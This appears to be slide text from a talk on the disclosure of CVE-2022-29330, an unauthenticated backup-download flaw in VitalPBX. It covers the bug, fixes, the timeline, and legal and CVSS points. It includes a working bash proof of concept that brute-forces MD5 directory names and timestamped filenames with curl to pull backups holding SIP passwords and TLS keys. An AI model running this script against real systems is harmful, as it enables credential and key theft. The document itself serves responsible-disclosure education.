

CVE-2022-29330


A Tale of a Vulnerability

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
Once upon a time

An IPBX called VitalPBX





IPBX Our network



Why do we use an IPBX ? More than phone calls

Ring Groups

One number to ring them all


Voicemail

Record voice and send message by email

Anti-Bots

Avoid spams and scams with turing test

Backup system Save data to recover from crash



E 🕻 🔹	Q Search			Administrator 🗸
⊖ × Backup & Restore	ි × Dashboard			
GENERAL				E
Name *	test	Add-ons		∷≡
Run Automatically	Disabled v	Include CDR Records	Yes	
Comment		Include Call Recordings	Yes	
		Include Voicemail	Yes	
Limit	2 ~	Include Faxes	Yes	
Backups List Date & Time	Backup	Vit	alPBX Version	Actions
2022-04-01 10:27:59	vitalpbx-1648801679.tar (20.	18 MB)	3.1.5-3	🛓 C 💼
2022-04-01 10:24:41	vitalpbx-1648801481.tar (20.	18 MB)	3.1.5-3	🛓 C 💼
📾 Run Backup Now!			🗹 Upda	ate 🛍 Delete 🗋 New



https://myipbx.mynetwork.lan/
static/
backup/
c4ca4238a0b923820dcc509a6f75849b/
vitalpbx-1650260415.tar

The vulnerability

Insecure Direct Object Reference

Can anybody download the file ? (is there any access control ?)

https://myipbx.mynetwork.lan/
 static/
 backup/

c4ca4238a0b923820dcc509a6f75849b/ vitalpbx-1650260415.tar Anybody can download (there is no access control)

<VirtualHost *:443>

```
<Directory "/var/lib/vitalpbx/static">
    Require all granted
  </Directory>
Alias /static "/var/lib/vitalpbx/static"
....
```

</VirtualHost>



https://myipbx.mynetwork.lan/ static/

backup/ c4ca4238a0b923820dcc509a6f75849b/ vitalpbx-1650260415.tar

Directory name is determinist (no randomness at all)

C4ca4238a0b923820dcc509a6f75849b



https://myipbx.mynetwork.lan/ static/

backup/ c4ca4238a0b923820dcc509a6f75849b/ vitalpbx-1650260415.tar

Filename is determinist (no randomness at all)

1650260415

= timestamp(2022-04-18T07:40:15+02:00)

Impact what have we got with the file ?

SIP and PJSIP Extension config

(with plain login and password)

TLS certificates

(with plain private key)

Voicemail

(and maybe more)

The Exploit

A (working) proof of concept is worth a thousand words

Principle how it works in theory

Directory name bruteforce

(from 1 to ∞)

File name bruteforce

(from now to past)

In bash 1/3 ('cause bash is life)

function bruteforce_directories() {

```
# Loop through IDs
for id in $(seq 1 $1); do
         # Compute MD5 of id
         md5=$(echo -n $id | md5sum | sed -e "s/ .*//")
         ### For CURL :
         # -s
                            / do not show progress bar
                            / do not check TLS
         # -k
         # -o /dev/null / do not output HTTP response body
         # -w "%{http code}" / output HTTP response code
         ### For Grep
                             / (quiet) do not show lines
         # -q
         # -v
                             / Inverse match
         curl -s -k "$BASEURL/$md5/" -o /dev/null -w "%{http code}" \
                    grep -qv "404" \
                  && echo $md5
```

done

In bash 2/3 ('cause bash is life)

function bruteforce_backupfile() {

```
now=$(date +%s)
past=$(date -d "$1" +%s)
```

```
while read md5; do
```

for timestamp in \$(seq \$now \$past); do
 ### For CURL :
 # -s / do not show progress bar
 # -k / do not check TLS
 # -f / fails silently on errors
 # -0 / write output in a file instead of stdout
 # -J / use filename from HTTP response instead of URL
 curl -skf0J "\$BASEURL/\$md5/vitalpbx-\$timestamp.tar" && continue
done

done

In bash 3/3 ('cause bash is life)

```
#!/bin/bash
```

```
BASEURL="https://myipbx.mynetwork.lan/static/backup"
function bruteforce_directories() {
    # ...
}
function bruteforce_backupfile() {
    # ...
}
bruteforce_directories 10 | bruteforce_backupfile "1 day ago"
```

Fix the issue

Make VitalPBX great again

Quick and Dirty Patch Home made access control

Apache configuration file

(login + pass, IP Address, ...)

Network firewall

(should already be in place)

De-activate feature

(and wait for official fix)

Kindly tell Editor about the vuln and hope they will fix it

Email the editor

(no dedicated address, we used sales@vitalpbx.org)

No response

(it was april fool's day...)

Disclosure policy To make them to fix

Full disclosure


Publish the proof of concept to the world !

VS

Responsible Disclosure

Restrict access + countdown

Going responsible Article with countdown



Tell Editor (again) about the vuln and hope they will (finally) fix it

Email the editor

(again)

No response

(again)



Contact CNA CVE Numbering Authorities

(for us : mitre at https://cveform.mitre.org/)

Fill in details and article's URL

(stay private until we tell them to make it public)

Tell ANSSI (WHY) Agence Nationale de la Sécurité des Systèmes d'Information

Art. 323-3-1 (penal)

Publishing vulnerabilities may be a crime

Art. 40 (penal procedures)

Official authorities must tell district attorney about crimes

Art. L, 2321-4 (defense code)

Except when disclosing vulnerabilities to ANSSI

Tell ANSSI (HOW) Agence Nationale de la Sécurité des Systèmes d'Information

Send an email

cert-fr.cossi@ssi.gouv.fr

Then they contact the editor (again)

Official fix May the 4th

3.2.1 R1 May 4, 2022

The VitalPBX version 3.2.1 R1 is now available. This new version includes significant security patches along with regular fixes and enhancements. To provide some context, we got notified that the backup files could be retrieved in the previous versions using a browser and a brute force script. Hence, this version implements security enhancements to protect the backup files. Fortunately, the incident was kept under wraps, and no users have been affected by the problem. Thereby, we recommend updating your PBX as soon as you can.

ADDED

Virtual Faxes: After successfully sending fax, an email notification is now sent.

IMPROVED

Backup and Restore: the backup files are no longer accessible via a public web address. Additionally, only authenticated users could now download the backups.

https://vitalpbx.com/vitalpbx-phone-system-change-log/

What's next ?

And they lived happily ever after

Publishing Eventually

Wait almost two months

(let anybody a delay to upgrade)

Tell mitre

(so they also publish details)

Become rich and famous

(or not)

Obtain a CVSS score And be frustrated

We calculate 7.5

(with nist CVSS V3 calculator)

NIST give us 4.5

(because they forgot the unrequired privileges)

History of events

April 1st – first contact with VitalPBX April 5st – Release of Vitalpbx 3.1.7 R1 April 12th – Contact Mitre April 19th – Contact VitalPBX & ANSSI May 4th – Release of Vitalpbx 3.2.1 R1 (Official Fix) May 24th – CVE ID June 23rd – Publication June 24thth – CVSS score

What to remember We do what we must because we can

Serenpidity


(unplanned furtunate discoveries)

Some editor don't have disclosure procedures

(you may have to contact agencies like Mitre, ANSSI, ...)

Fight for the causes that matter

(because CVSS score will not change anything in our life, but having the software corrected will save admins)



That's All Folks